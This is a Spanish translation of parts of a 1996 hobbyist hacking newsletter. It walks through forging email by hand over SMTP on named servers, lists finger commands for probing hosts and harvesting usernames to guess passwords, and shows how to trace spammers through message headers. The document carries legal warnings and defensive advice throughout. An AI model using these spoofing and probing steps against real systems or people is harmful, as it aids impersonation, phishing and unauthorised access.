En esto hay una cosa interesante. Diferentes programas de correo mostrarán diferentes encabezamientos. Por ello lo bueno que sea tu correo falso depender en parte del programa de correo que sea utilizado para leerlo. Esto es lo que Pine, un programa de email que funciona en sistemas Unix, muestra con el mismo email de antes: Return Path: <[email protected]> Recibido: from callisto.unm.edu by nmia.com with smtp (Linux Smail3.1.28.1 #4) id m0uemp4 000LFGC; Fri, 12 Jul 96 12:20 MDT Esto identifica al ordenador en el que usé el programa de envío de correo. También dice qué versión del programa estaba utilizando. Apparently From: [email protected] Y aquí está el mensaje "Aparentemente-Desde" otra vez. Como vemos tanto Pine como Eudora nos comunican que esto es email falso. Recibido: from [email protected] by callisto.unm.edu with smtp (Smail3.1.28.1 #41) id m0uemnL 0000HFC; Fri, 12 Jul 96 12:18 MDT Id del mensaje: <m0uemnL [email protected]> ¡Oh, oh! No sólo muestra que probablemente se trate de email falso, también enseña un ID del mensaje! Esto significa que en algún sitio en Callisto habrá un registro de los mensajesIDs diciendo quién ha usado el puerto 25 y el programa de correo. Como ves, cada vez que alguien accede al puerto 25 de ese ordenador, su dirección de correo se almacena en el registro junto al ID de su mensaje. Fecha: Fri, 12 Jul 96 12:18 MDT Apparently From: [email protected] Apparently To: [email protected] Funciona!!!

Si alguien fuese a usar este programa de email para propósitos viles, ese mensaje-ID ser¡a lo que pondría a los polis o vigilantes detrás suya. Por lo tanto, si quieres falsear el email, ser más difícil hacerlo para alguien que est‚ usando Pine que para otro que utilice la versión freeware de Eudora (puedes sabes qué programa de email usa una persona simplemente mirando el encabezamiento del email). Pero los programas de email de los puertos 25 de muchos Internet hosts no est n tan bien defendidos como callisto.unm.edu. Algunos tienen más seguridad, y algunos otros no tienen sistemas de defensa en absoluto. De hecho, es posible que algunos de ellos incluso ni tengan un registro de los usuarios del puerto 25, haciéndolos un blanco fácil para cualquiera con ganas de diversión (con propósitos perversos o no). Sólo porque obtengas correo con los encabezamientos en buen estado (o que parezcan correctos) no significa que sea original o verdadero. Necesitas algún sistema de verificación encriptada para estar casi seguro que el email es correcto (es decir, que no ha sido falseado).

Nota-Puedes-Ir-A-La-Cárcel: si estas tramando utilizar email falso (falsificado o con dirección falsa) para cometer un crimen, párate a pensar lo que vas a hacer. Si estás leyendo este documento es porque todavía no sabes lo suficiente como para falsificar el email lo suficientemente bien como para evitar tu arresto.

Aquí tenemos un ejemplo de un programa de email distinto, sendmail. Esto te dará una idea de las pequeñas variaciones con las que te encontrarás cuando intentes este hack. Este es el comando que yo introduzco: telnet ns.Interlink.Net 25 El ordenador responde: Trying 198.168.73.8... Conectado a NS.INTERLINK.NET. Escape character is `^]ï. 220 InterLink.NET Sendmail AIX 3.2/UCB 5.64/4.03 ready at Fri 12 Jul 1996 15:45 Entonces yo tecleo:

helo [email protected] Y el ordenador responde: 250 InterLink.NET Hello [email protected] (plato.nmia.com) ¡Oh, oh! Esta versión de sendmail no es tonta del todo! Mira como pone (plato.nmia.com) (el ordenador que yo estaba usando para este hack) sólo para hacerme saber que sabe el ordenador desde el que estoy haciendo telnet. Pero qué coño, todos los Internet hosts saben esa clase de informaci¢n. Mandar‚ correo falso de algún modo. De nuevo, lo que yo escribo no tiene números delante, mientras que las respuestas del ordenador están precedidas por el número 250: mail from: [email protected] 250 [email protected]... Sender is valid (el remitente es válido) rcpt to: [email protected] 250 [email protected]... Recipient is valid (destinatario válido) data 354 Introduzca el mensaje. Termine con el carácter "." en una línea solo Esto es el texto . 250 Ok quit 221 InterLink.NET: cerrando conexión. OK, ¿qué clase de email generó ese ordenador? Esto es lo que obtuve usando Pine: Return Path: <[email protected]> Recibido: desde InterLink.NET by nmia.com with smtp (Linux Smail3.1.28.1 #4)

id m0ueo7t 000LEKC; Fri, 12 jul 96 13:43 MDT Recibido: desde plato.nmia.com by InterLink.NET (AIX 3.2/UCB 5.64/4.03) id AA23900; Fri 12 Jul 1996 15:43:20 0400 Uups. Aquí el ordenador de InterLink.NET ha revelado el ordenador en el que yo estaba cuando hice telnet por su puerto 25. Sin embargo, mucha gente usa ese ordenador que funciona de Internet host. Fecha: Fri 12 Jul 1996 15:43:20 0400 Desde: [email protected] Mensaje-ID: <[email protected]> Apparently To: [email protected] Este es el texto OK, aquí no dice "Apparently-From" por ello ahora sé que el ordenador ns.interlink.Net es uno bastante seguro para poder enviar mis mensajes de correo falsificado desde él (digamos como intermediario, para entendernos). Un experimentado aficionado del email sabría por la línea "Recibido:..." si se trata de correo falsificado. Voy a intentar con otro ordenador. La Universidad de California en Berkeley es famosa por su investigación en ciencias de la computación. Me pregunto... ¿cómo serán sus hosts? Habiendo hallado primero la dirección numérica de Internet de una de estas máquinas (su IP), tecleo el comando: telnet 128.32.152.164 25 Y te responde: Trying 128.32.152.164... Conectado a 128.32.152.164. Escape character is `^]ï. 220 remarque.berkeley.edu ESMTP Sendmail 8.7.3/1.31 ready at Thu, 11 Jul 1996 12 Ahora tecleo:

help Y su respuesta es: 214 Esta es la versión de Sendmail 8.7.3 214 Comandos: 214 HELO EHLO MAIL RCPT DATA 214 RSET NOOP QUIT HELP VRFY 214 EXPN VERB 214 Para más información use "HELP ". 214 Para informar sobre bugs existentes en la implementación mandar email a: 214 [email protected] 214 Para información local mandar email al Postmaster de tu site. 214 Fin de la información HELP ¡Oh, tío, un programa de sendmail ligeramente diferente! Me pregunto qué m s me dirá sobre estos comandos. HELP mail 214 MAIL FROM 214 Especifica el remitente 214 Fin de la información HELP ¡Gran j***da cosa esta! Bueno, veamos qué hace este ordenador ante el correo falsificado (ahora sabemos el nombre del ordenador, "remarque"). MAIL FROM: [email protected] 250 [email protected]... Sender ok (remitente correcto) Heeeyyyyy.... esto es interesante... No dije "helo" y este programa de sendmail no me echo a la calle! Me pregunto qué significa eso... RCPT TO: [email protected]

250 Recipient ok (destinatario correcto) DATA 354 Introduzca el mensaje, termine con un "." solo en una l¡nea Esto es correo falsificado en un ordenador de Berkeley para el que no tengo un password. . 250 MAA23472 Mensaje aceptado para ser enviado quit 221 remarque.berkeley.edu cerrando conexión. Ahora usamos Pine para ver qué aparece en los encabezamientos: Return Path: <[email protected]> Recibido: from nmia.com by nmia.com with smtp (Linux Sendmail3.1.28.1 #4) id m0ue RnW 000LGiC; Thu, 11 Jul 96 13:53 MDT Recibido: from remarque.berkeley.edu by nmia.com with smtp (Linux Sendmail3.1.28.1 #4) id m0ue RnV 000LGhC; Thu, 11 Jul 96 13:53 MDT Apparently To: Recibido: from merde.dis.org by remarque.berkeley.edu (8.7.3/1.31)

id MAA23472; Thu , 11 jul 1996 12:49:56 0700 (PDT) Mira los tres mensajes "Recibido:". Mi ordenador PSI recibió este email no directamente de Remarque.berkeley.edu sino de merde.dis.com, quien a su vez lo recibió de Remarque. Hey, yo sé quién es el dueño de merde.dis.org! Berkeley envió el email falso a través del host del ordenador del famoso experto en seguridad Pete Shipley! Nota: el nombre "merde" es una broma, así como "dis.org". Ahora veamos el aspecto del email enviado desde Remarque. Usemos Pine otra vez: Fecha: Thu, 11 Jul 1996 12:49:56 0700 (PDT) Desde: [email protected] Mensaje-ID: <[email protected]> Esto es correo falsificado en un ordenador de Berkeley para el que no tengo password Hey, esto es bastante guay. No nos avisa de que la dirección de Santa es falsa! Todavía mejor, guarda en secreto el nombre del ordenador original (del mío jejeje): plato.nmia.com. De este modo remarque.berkeley.edu fue realmente un buen ordenador desde el que enviar correo falso. (Nota: la última vez que probé, ya habían arreglado este agujero en Remarque, o sea que no te molestes en hacer telnet allí.) Pero no todos los programas de sendmail son tan fáciles para falsear email. ¡Observa el email que creé desde atropos.c2.org! telnet atropos.c2.org 25 Trying 140.174.185.14... Conectado a atropos.c2.org. Escape character is `^]ï. 220 atropos.c2.org ESMTP Sendmail 8.7.4/CSUA ready at Fri 12 Jul 96 15:41:33 help 502 Sendmail 8.7.4 Comando HELP no implementado ¡Caramba!, ¿estás cachondo hoy, eh?.... Qué coño, tiremos p'lante de algún modo... helo [email protected]

501 Nombre de dominio no válido Hey, qué pasa contigo, cacho perro? A otros programas de sendmail no les importa el nombre que use con "helo". OK, OK, te daré un nombre de dominio válido, pero no un nombre de usuario válido, hohoho! helo [email protected] 250 atropos.c2.org Hello [email protected] {198.59.166.165} encantado de conocerte. Muuuyyyy divertido, tío. Apostaría a que seguro que estás encantado de conocerme. ¿Por qué #$%& me pides un nombre de dominio válido si sabías ya quién era? mail from: [email protected] 250 [email protected]... Sender ok rcpt to: [email protected] 250 Recipient ok data 354 Introduzca el texto del mensaje, termine con "." solo en una línea Oh, mierda! . 250 PAA13437 Mensaje aceptado para ser enviado quit 221 atropos.c2.org cerrando conexión. OK, ¿qué clase de email habrá generado ese repugnante programa de sendmail? Voy corriendo a Pine y echo un vistazo: Return Path: <[email protected]> Bueno, qué bonito que me deje usar mi dirección falsa. Recibido:

from atropos.c2.org by nmia.com with smtp (Linux Sendmail3.1.28.1 #4) id m0ueqxh 000LD9C; fri 12 Jul 1996 16:45 MDT Apparently To: Recibido: desde santa.unm.edu ([email protected] [198.59.166.165]) Oh, verdaderamente especial! No sólo el ordenador artropos.c2.org revela mi verdadera identidad, también revela lo de santa.unm.edu. Mierda... Me servirá de lección. by artropos.c2.org (8.7.4/CSUA) with SMTP id PAA13437 for [email protected]; Fecha: Fri, 12 Jul 1996 15:44:37 0700 (PDT) Desde: [email protected] Mensaje-ID: <[email protected]>

Oh, mierda! Por ello, la moraleja de este hack es que hay montones de diferentes programas de email flotando en el puerto 25 de los Internet hosts. Si quieres divertirte con ellos, es una buena idea hacerles una prueba antes de usarlos para presumir después, ¿ok?

Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final. Para suscribirse, email [email protected] con el mensaje "subscribe hacker <[email protected]>" sustituyendo tu dirección de correo electrónico real por la de Joe Blow.

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol 1. N£mero 3 Cómo puede ser usado finger para acceder a partes privadas de un Internet host.

Antes de que te excites demasiado al leer cómo usar el finger para acceder a un Internet host, por favor que todos los agentes de la ley que haya por ahí que se relajen. No voy a dar instrucciones paso a paso. Ciertamente no voy a sacar trozos de código de todos esos programas que cualquier newbie tiene almacenados en su disco duro y que sirven para acceder ilegalmente a algunos hosts. Lo que estás apunto de leer son algunos principios y técnicas básicas en el cracking con finger. De hecho, algunas de éstas técnicas son divertidas y legales mientras no sean llevadas demasiado lejos. Y además pueden darte consejos sobre cómo hacer que tu Internet host sea más seguro. También puedes usar esta información para convertirte en un cracker. Tuya es la decisión. Si es así, ten en cuenta lo divertido de ser la "novia" de un compañero de celda llamado "Spike", por ejemplo.

Nota-Para-El-Newbie #1: Mucha gente da por hecho que "hacking" y "cracking" son sinónimos. Pero "cracking" es conseguir acceso ilegalmente en un ordenador. "Hacking" es el universo repleto de todas las cosas divertidas que uno puede hacer con los ordenadores, sin necesidad de quebrantar la ley o causar daño.

¿Qué es finger? Es un programa que funciona en los puertos 79 de muchos Internet hosts. Normalmente su misión es ofrecer información sobre los usuarios de un ordenador determinado. Para repasar, analicemos el virtuoso pero aburrido modo en que ordenamos a nuestro host que nos ofrezca información usando el comando finger: finger [email protected] Esto hace telnet al puerto 79 en el host boring.ISP.net. Coge lo que haya en los archivos .plan y .project relativo a Joe Blow y te lo muestra en tu monitor.

Pero lo que haría el Feliz Hacker es primero hacer telnet a boring.ISP.net por el puerto 79, desde el cual podemos entonces utilizar el programa finger: telnet boring.ISP.net 79 Si eres un ciudadano de Internet honrado entonces teclea el comando: Joe_Blow o también puede ser el comando: finger Joe_Blow Esto debería darte los mismos resultados que si sólo estuvieras en tu propio ordenador y dieses el comando "finger [email protected]." Pero para un cracker, hay montones y montones de cosas que probar después de conseguir el control del programa finger de boring.ISP.net haciendo telnet en el puerto 79. Ah, pero si no me acordé de enseñar cómo hacer maldades. Cubriremos aspectos generales de cómo finger es usado para acceder a boring.ISP.net. También aprenderás algunas cosas perfectamente legales que puedes intentar que finger haga. Por ejemplo, algunos programas finger responderán al comando: [email protected] Si por casualidad te topas con un programa de finger lo suficientemente viejo o confiado como para aceptar este comando, obtendrás algo como esto: [boring.ISP.net] Login Name TTY Idle When Where happy Prof. Foobar co 1d Wed 08:00 boring.ISP.net Esto te dice que sólo un tío est registrado, y que no est haciendo nada. Esto significa que si alguien se las arreglara para penetrar, nadie sería capaz de notarlo, al menos nadie de lejos. Otro comando al que un puerto finger puede ser que responda es simplemente: finger Si este comando funciona, te dará una lista completa de los usuarios de ese host. Estos nombres de usuario pueden ser por ello utilizados para saltarse un password.

A veces un sistema no pondrá objeciones a pesar de lo lamer que sea el password utilizado. Hábitos comunes de lamers a la hora de elegir passwords es no usar no usar ninguno, el mismo password que el nombre del usuario, el primer nombre del usuario o su apellido, y "guest" ("cliente"). Si lo anterior no le funciona al cracker, hay un montón de programas circulando por ah¡ que prueban cada palabra del diccionario y cada nombre de la típica guía telefónica.

Newbie-Nota #2: ¿Es fácil de crackear tu password? Si tienes una cuenta shell, puedes modificarlo con el comando: passwd Elige tu password que no esté en el diccionario o en la guía telefónica, y que sea como mínimo de 6 caracteres de largo e incluya algunos caracteres que no sean letras del alfabeto. Un password que pueda encontrarse en un diccionario aunque tenga un carácter adicional al final (p. ej.: hotelx) *no* es un buen password.

Otros comandos de los que puedes obtener alguna respuesta en finger son: finger @ finger 0 finger root finger bin finger ftp finger system finger guest finger demo finger manager O, incluso, simplemente pulsando <enter> una vez que estés en el puerto 79 puede que te dé algo interesante.

Hay montones de otros comandos que pueden funcionar o no. Pero la mayoría de los comandos en la mayoría de los programas finger no te responderán nada, porque la mayoría de los administradores de sistema no desean ofrecer la información en bandeja a visitantes puntuales. De hecho, un sysadmin realmente cuidadoso desactivará el programa finger entero. Por ello puede que nunca puedas arreglártelas a entrar por el puerto 79 de algunos ordenadores. Sin embargo, ninguno de los comandos que te he enseñado te dará privilegios de root. Simplemente te ofrecen información.

Newbie-Nota #3: ¡Root! Es el Walhalla del cracker principiante. "Root" es la cuenta en un ordenador multi-usuario que te permite convertirte en dios. Es la cuenta desde la que puedes usar y entrar en cualquier otra cuenta, leer y modificar cualquier archivo, usar cualquier programa. Con privilegios de root puedes perfectamente destruir perfectamente todos los datos que haya en boring.ISP.net (¡NO estoy sugiriendo que hagas eso!)

Es legal preguntarle al programa finger de boring.ISP.net sobre cualquier cosas que desees saber. Lo peor que puede pasar es que el programa se cuelgue. Colgarse... ¿qué ocurre si finger se queda colgado? Pensemos sobre lo que finger hace actualmente. Es el primer programa que te encuentras cuando haces telnet a boring.ISP.net por el puerto 79. Y una vez allí, le puedes ordenar (mediante un comando) que se dirija a leer archivos de cualquier cuenta de usuario que puedas elegir. Esto significa que finger puede mirar en cualquier cuenta. Eso significa que si finger se cuelga, puedes acabar siendo root. Por favor, si por casualidad consigues privilegios de root en el host de cualquier extraño, ¡sal de ese ordenador inmediatamente! También harías bien buscando una buena excusa para los administradores de tu sistema y la policía por si fueses detenido! Si consiguieras hacer que finger se colgara dándole algún comando como ///*^S, puedes pasar un buen tiempo intentando explicar que estabas buscando información disponible al público inocentemente.

PUEDES-IR-A-LA-CÁRCEL-NOTA #1: Acceder a un área de un ordenador que no está abierta al público es ilegal. Además, si usas las líneas telefónicas o Internet a través de la

red telefónica para acceder a una parte no-pública de un ordenador, habrás cometido un delito. Puede que incluso no causes ningún daño, y aún así será ilegal. Hasta si sólo consigues privilegios de root e inmediatamente cierras la conexión, seguirá siendo ilegal.

Los tíos de la verdadera élite accederán a una cuenta root desde finger y simplemente se marcharán inmediatamente. Ellos (la élite de los crackers) dicen que la verdadera emoción del cracking viene cuando *eres capaz* de hacerle cualquier cosa a boring.ISP.net, pero aguantas la tentación. La Élite de la élite hacen más que simplemente abstenerse de aprovecharse de los sistemas en los que penetran. Informan a los administradores del sistema de que han entrado en su ordenador, y dejan una explicación de cómo arreglar el agujero de seguridad.

PUEDES-IR-A-LA-CÁRCEL-NOTA #2: Cuando accedes a un ordenador, las cabeceras de los paquetes que llevan tus comandos le dicen al sysadmin (administrador del sistema) de tu objetivo quién eres tú. Si estás leyendo este documento es que no sabes lo suficiente como para borrar tus huellas. ¡Sugiérele a tu tentación que se vaya a dar un paseo y te deje tranquilo/a!

Ah, pero ¿cuáles son tus oportunidades de conseguir privilegios de root a través de finger? Tropecientos hackers se han quedado con las ganas de entrar en muchos sistemas. ¿Significa eso que los programas finger funcionando en Internet hoy en día están todos asegurados lo suficiente como para que no puedas conseguir privilegios de root nunca más? No. La nota final es que cualquier sysadmin que deje el servicio finger funcionando en su ordenador está asumiendo un gran riesgo. Si eres el usuario de un PSI que permite finger, hazte esta pregunta: ¿vale la pena correr el riesgo de anunciar tu existencia en Internet? OK, estoy acabando este documento. ¡Espero con ansia tu contribución a esta lista. Happy Hacking! ¡y ten cuidado de ser arrestado!

Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final. Para suscribirse, email [email protected] con el mensaje "subscribe hacker <[email protected]>" sustituyendo tu dirección de correo electrónico real por la de Joe Blow.

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 1 Número 4 ¡Hoy es el día de la diversión del vigilante! Cómo echar a los capullos fuera de sus PSIs.

¿Cuánto te gustaría hacer eso cuando tu discreto newsgroup queda de repente invadido por anuncios de números 900 de sexo y Haz-Dinero-Rápidamente? Si nadie nunca hubiera hecho que esos tíos pagasen por su insolencia, pronto Usenet habría estado invadida de ordinarieces. Es realmente tentador, no crees, usar nuestros conocimientos sobre hacking para echar a esos tíos de una vez por todas. Pero muchas veces hacer eso es igual que usar una bomba atómica para cargarte una hormiga. ¿Para qué arriesgarse a ir a la cárcel cuando existen caminos legales para poner en huida a esas sabandijas? Este capítulo de Happy Hacking te enseñará algunas maneras de luchar contra la escoria en Usenet. Los spammers (nombre dado a quienes realizan este tipo de publicidad abusiva) dependen del email falsificado y los sitios de Usenet. Tal y como aprendimos en el segundo número de la Guía Del Hacking (mayormente) Inofensivo es fácil falsificar el correo electrónico. Bueno, pues también es fácil divertirse con Usenet.

Newbie-Nota #1: Usenet es una parte de Internet que está formado por el sistema de grupos de discusión on-line llamado "newsgroups". Ejemplos de newsgroups son rec.humor, comp.misc, news.announce.newusers, sci.space.policy y alt.sex. Existen más de 10,000 newsgroups. Usenet comenzó en 1980 como una red Unix que unía a personas que querían (lo adivinaste) hablar sobre Unix. Entonces alguna de esa gente quiso hablar de otros asuntos, como física, vuelo espacial, humor de bar, y sexo. El resto es historia.

Aquí tenemos un rápido sumario de cómo trucar los Usenet sites. Una vez más, usaremos la técnica de hacer telnet a un puerto específico. El puerto Usenet sólo suele estar abierto a aquellas personas que poseen cuentas en ese sistema. Por ello necesitarás hacer telnet desde tu cuenta shell a tu propio PSI de esta manera:

telnet news.myISP.com nntp donde tienes que sustituir la parte de tu dirección de email que viene detrás de la @ por "myISP.com". También tienes la posibilidad de usar "119" en lugar de "nntp". Con mi PSI obtengo lo siguiente: Trying 198.59.115.25 ... Conectado a sloth.swcp.com. Escape character is `^]ï. 200 sloth.swcp.com InterNetNews NNRP server INN 1.4unoff 05-ready (posting) Ahora, cuando entremos en un programa que no sepamos muy bien cómo funciona, tecleamos: help Y obtendremos: 100 Legal comands authinfo user Name|pass Password|generic <prog> <args> article [MessageID|Number] body [MessageID|Number] date group newsgroup head [MessageID|Number] help ihave last list [active|newsgroups|distributions|schema] listgroup newsgroup

mode reader newsgroups yymmdd hhm mss ["GMT"] [] next post slave stat [MessageID|Number] xgtitle [group_pattern] xhdr header [range|MessageID] xover [range] xpat header range|MessageID pat [morepat...] xpath Message ID Informar sobre posibles problemas a <[email protected]> Usa tu imaginación con estos comandos. Además, si pretendes hackear sites desde un PSI distinto al tuyo, ten presente que algunos Internet hosts tienen un puerto nntp que o no requiere password o uno fácilmente adivinable como "post" o "news". Pero puede ser un gran esfuerzo encontrar un puerto nntp que no esté defendido. Por ello, y porque normalmente tendrás que hacerlo en tu propio PSI, es mucho más difícil que hackear el email. Sólo recuerda cuando estés "hackeando" Usenet sites que tanto el email como los Usenet sites trucados pueden ser detectados fácilmente, si sabes buscar para ello. Y es posible decir desde dónde fueron hackeados. Una vez que detectes de dónde viene realmente el "spam", puedes utilizar el Message-ID (Identificaci¢n del Mensaje) para enseñarle al sysadmin (administrador del sistema) a quién debe echar. Normalmente no te será posible averiguar la identidad del culpable por ti mismo. ¡Pero puedes hacer que sus PSIs le cancelen sus cuentas! Seguramente estos Reyes del Spamming volverán a aparecer en cualquier otro PSI inocentón. Siempre est n en activo. Y, hey, ¿cuando fue la última vez que recibiste una "Maravillosa Oferta de Descuentos en su Compra"? Si no fuese por nosotros, los vigilantes de la Red, vuestros buzones y newsgroups estarían continuamente llenos de basura.

Y además el ataque contra los spammers que estoy a punto de enseñarte es ¡perfectamente legal! Hazlo y te convertir s en un Chico Bueno oficialmente. Hazlo en una fiesta y enseña a tus amigos a hacerlo también. ¡Es difícil conseguir demasiados vigilantes anti-spam ahí fuera! Lo primero que tenemos que hacer es revisar cómo leer los encabezamientos (headers) de los artículos de Usenet y el email. El encabezamiento es lo que nos muestra la ruta que el email o el artículo de Usenet utilizó para llegar hasta tu ordenador. Nos da los nombres de los Internet hosts que han sido usados en la creación y la transmisión de un mensaje. Sin embargo, cuando algo ha sido falsificado puede que los nombres de esos hosts sean falsos también. Como alternativa para evitar esto, el avezado falsificador usar nombres de hosts reales. Pero el hacker experimentado es capaz de decir si los hosts listados en el encabezamiento fueron usados realmente. Primero analizaremos un ejemplo de spamming en Usenet. Un lugar realmente bueno para encontrar basura de esta clase es alt.personals. No es un lugar tan patrullado por vigilantes anti-spam como por ejemplo digamos rec.aviation.military. (¡Los que se meten con pilotos de guerra lo hacen por su propia cuenta y riesgo, y asumiendo las consecuencias!) Así que lo que tenemos aquí es un frecuente ejemplo de spamming descarado, tal y como es mostrado por el lector de News basado en Unix "tin": Thu, 22 Aug 1996 23:01:56 alt.personals Tomados 134 de 450 Lines 110 >>>>TEST DE COMPATIBILIDAD GRATIS E INSTANTµNEO Sin responder [email protected] glennys e clarke at OzEmail Pty Ltd - Australia HAZ CLICK AQUÖ PARA TU TEST DE COMPATIBILIDAD GRATIS E INSTANTµNEO!

http://www.perfect-partners.com.au POR QUÉ LOS SOLTEROS MÁS SELECTIVOS NOS ESCOGEN En Perfect Partners (Newcastle) International somos privados y confidenciales. Presentamos damas y caballeros entre sí con propósitos de amistad y matrimonio. Con más de 15 años de experiencia, Perfect Partner es una de las agencias de contactos de amistad en Internet con más prestigio y éxito. Por supuesto la primera cosa que resalta sobre el resto es la dirección de email de retorno. Nosotros los vigilantes de la red solíamos mandar siempre de retorno una copia del puñetero mensaje a la dirección de correo electrónico del spammer.

En un grupo de News tan consultado como alt.personals, si únicamente uno de cada cien lectores devuelve el mensaje a la cara del remitente (mejor dicho, a su buzón) obtendremos una avalancha de mail-bombing. Esta avalancha alerta inmediatamente a los sysadmins (administradores de sistema) del PSI de la presencia de un spammer, y "Hasta Luego Lucas" a la cuenta del capullo. Por ello, para retrasar la inevitable respuesta de los vigilantes, hoy en día muchos spammers utilizan direcciones de email falsas o trucadas. Para comprobar si la dirección de email es falsa, salgo de "tin" y en el prompt de Unix tecleo el comando: whois ozemail.com.au Obtengo la respuesta: no match for "OZEMAIL.COM.AU" (no existe "OZEMAIL.COM.AU") Sin embargo eso no prueba nada, porque el "au" del final de la dirección de email significa que es una dirección de Australia. Desafortunadamente, "whois" no funciona en la mayoría de Internet fuera de USA. El siguiente paso es mandar algún email de queja a esta dirección. Una copia del propio spam es normalmente una protesta suficiente. Pero por supuesto le enviamos el email sin dirección del mensaje (nuestra). A continuación voy a la Web que se anuncia. Llego y contemplo que hay una direcci¢n de email de esta compañía, [email protected]. ¿Por qué no me sorprendo cuando veo que no es la misma que la que había en el mensaje de alt.personals? Podríamos detenernos justo aqu¡ y tirarnos una o dos horas mandando 5 MB de emails con basura en los attachments a [email protected]. Hmmm, ¿mandamos gifs de hipopótamos apareándose?

Puedes-Ir-A-La-Cárcel-Nota: Mailbombing es una manera de meterse en serios problemas. Según la experta en seguridad informática Ira Winkler "Es ilegal hacer mailbomb a un spammer. Si llega a ser demostrado que tu causaste maliciosamente cualquier pédida financiera, en las que se pueden incluir el provocar horas de trabajo recuperándose de un mail-bomb, tienes responsabilidad de tipo criminal (culpabilidad). Si un sistema no está configurado correctamente, y tiene el directorio de correo en el disco duro del sistema, puedes reventar el sistema entero. Esto te convierte en más criminal todavía".

Puff. Desde que el mailbombing intencionado es ilegal, no puedo mandar esos gifs de hipopótamos apareándose. Por esto lo que hice fue enviar de vuelta una copia del spam a perfect.partners. Puede que parezca una venganza estúpida, pero aprenderemos a hacer mucho más que eso. Incluso mandando un sólo email a esos tíos puede convertirse en el comienzo de una oleada de protestas que los eche de Internet de una vez por todas. Si únicamente una de mil personas que reciben el spamming van a la Web de los tíos esos y les envía un email de protesta, aún así recibirán miles de protestas a consecuencia de sus abusivos mensajes. Este gran volumen de email puede ser suficiente para alertar a los sysadmins del PSI de la presencia del spammer, y, como dije, "hasta luego lucas" a la cuenta del spammer. Fíjate lo que dice Dale Amon (propietario/operador de un PSI) sobre el poder del emailprotesta: "Uno no tiene que pedir ayuda para hacer un mail-bomb. Simplemente ocurre y ya está. Cuando veo un spammer, automáticamente le mando una copia de su propio mensaje. Me imagino que un montón de gente más hará lo mismo al mismo tiempo. Si ellos (los spammers) ocultan su dirección de email (la verdadera), la averiguo y les mando el correspondiente mensaje si tengo tiempo. En absoluto me remuerde la conciencia al hacerlo." Hoy en día Dale es el propietario y el director técnico del PSI más grande y antiguo de Irlanda del Norte, por ello conoce perfectamente los mejores modos de descubrir qué PSI está albergando al spammer. Y estamos a punto de aprender uno de ellos. Nuestro objetivo es descubrir quién ofrece la conexión a Internet a estas personas, y también ¡quitarles esa conexión! Créeme, cuando la gente que controla un PSI encuentra que uno de sus clientes es un spammer, normalmente no tardan mucho en echarlos fuera. Nuestro primer paso ser diseccionar el encabezamiento del mensaje para ver cómo y dónde fue falsificado. Dado que mi lector de news (tin) no permite visualizar los encabezamientos, uso el comando "m" para enviar una copia de este mensaje a mi cuenta shell. Llega unos pocos minutos después. Abro el mensaje con el programa de email "Pine" y obtengo un encabezamiento con todo lujo de detalles: Path: sloth.swcp.com!news.ironhorse.com!news.uoregon.edu!vixen.cso.uiuc.edu!news.s tealth.net!nntp04.primenet.com!nntp.primenet.com!gatech!nntp0.mindspring.com !news.mindspring.com!uunet!in2.uu.net!OzEmail!OzEmail-In!news

From:glennys e clarke NNTP-Posting-Host: 203.15.166.46 Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 1.22 (Windows; I; 16bit) El primer elemento de este encabezamiento es rotundamente verdadero: sloth.swcp.com. Es el ordenador que mi PSI utiliza para albergar los newsgroups. Es el último enlace en la cadena de ordenadores que ha distribuido el mensaje-spam por el mundo.

Newbie-Nota #2: Los hosts de Internet tienen dos "nombres" con diferente significado referente a su dirección en la Red. "Sloth" es el nombre de uno de los ordenadores que posee la compañía con dominio swcp.com. Por ejemplo "sloth" es digamos el nombre del servidor de news, y "swcp.com" el apellido. "Sloth" se puede interpretar también como el nombre de la calle, y "swcp.com" el nombre de la ciudad, estado y código zip. "Swcp.com" es el nombre del dominio que posee la compañía Southwest Cyberport. Todos los hosts tienen además versiones numéricas de sus nombres (n§ de IP) por ejemplo 203.15.166.46.

Lo siguiente que haremos es obvio. El encabezamiento dice que el mensaje tuvo como origen el host 203.15.166.46. Por ello hacemos telnet a su servidor de nntp (puerto 119): telnet 203.15.166.46 119 Obtenemos: Trying 203.15.166.46 ... telnet: connect: Conexión rechazada Parece ser a todas luces que este elemento del encabezamiento está falsificado. Si este realmente fuera un ordenador que alberga newsgroups, debería tener un puerto de nntp que aceptara visitantes. éticamente me aceptaría durante ese medio segundo que tarda en darse cuenta de que yo no estoy autorizado para usarlo, pero lo haría. Sin embargo en este caso rechaza cualquier tipo de conexión.

Aquí tenemos otra explicación: hay un firewall en este ordenador que filtra los paquetes de información y que sólo acepta a usuarios autorizados. Pero esto no es lo corriente en un PSI utilizado por un spammer. Esta clase de firewall se utiliza normalmente para conectar una red local de una empresa con Internet. A continuación intento mandar un email (una copia del spam) a [email protected]. Pero esto es lo que obtengo: Fecha: Wed, 28 Aug 1996 21:58:13 -0600 From: Mail Delivery Subsystem <[email protected]> To: [email protected] Subject: Returned mail: Host desconocido (Name server: 203.15.166.46: host no encontrado) Fecha de recepci¢n del mensaje original: Wed, 28 Aug 1996 21:58:06 -0600 from cmeinel@localhost ----- Las siguientes direcciones presentan problemas de reparto [email protected] (error irreparable) ----- Transcript of session follows ----- ("Transcripción de la sesión") 501 [email protected]... 550 Host desconocido (Name server: 203.15.166.46: host no encontrado) ----- Original message follows ----- ("Mensaje original") Return-Path: cmeinel Recibido: (from cmeinel@localhost) by kitsune.swcp.com (8.6.9/8.6.9) id OK, parece ser que la información sobre el servidor de nntp era falsa también. A continuación comprobamos el segundo elemento de la línea inicial del encabezamiento. Como empieza con la palabra "news", me figuro que se tratará de un ordenador que alberga newsgroups. Compruebo su puerto nntp para asegurarme: telnet news.ironhorse.com nntp

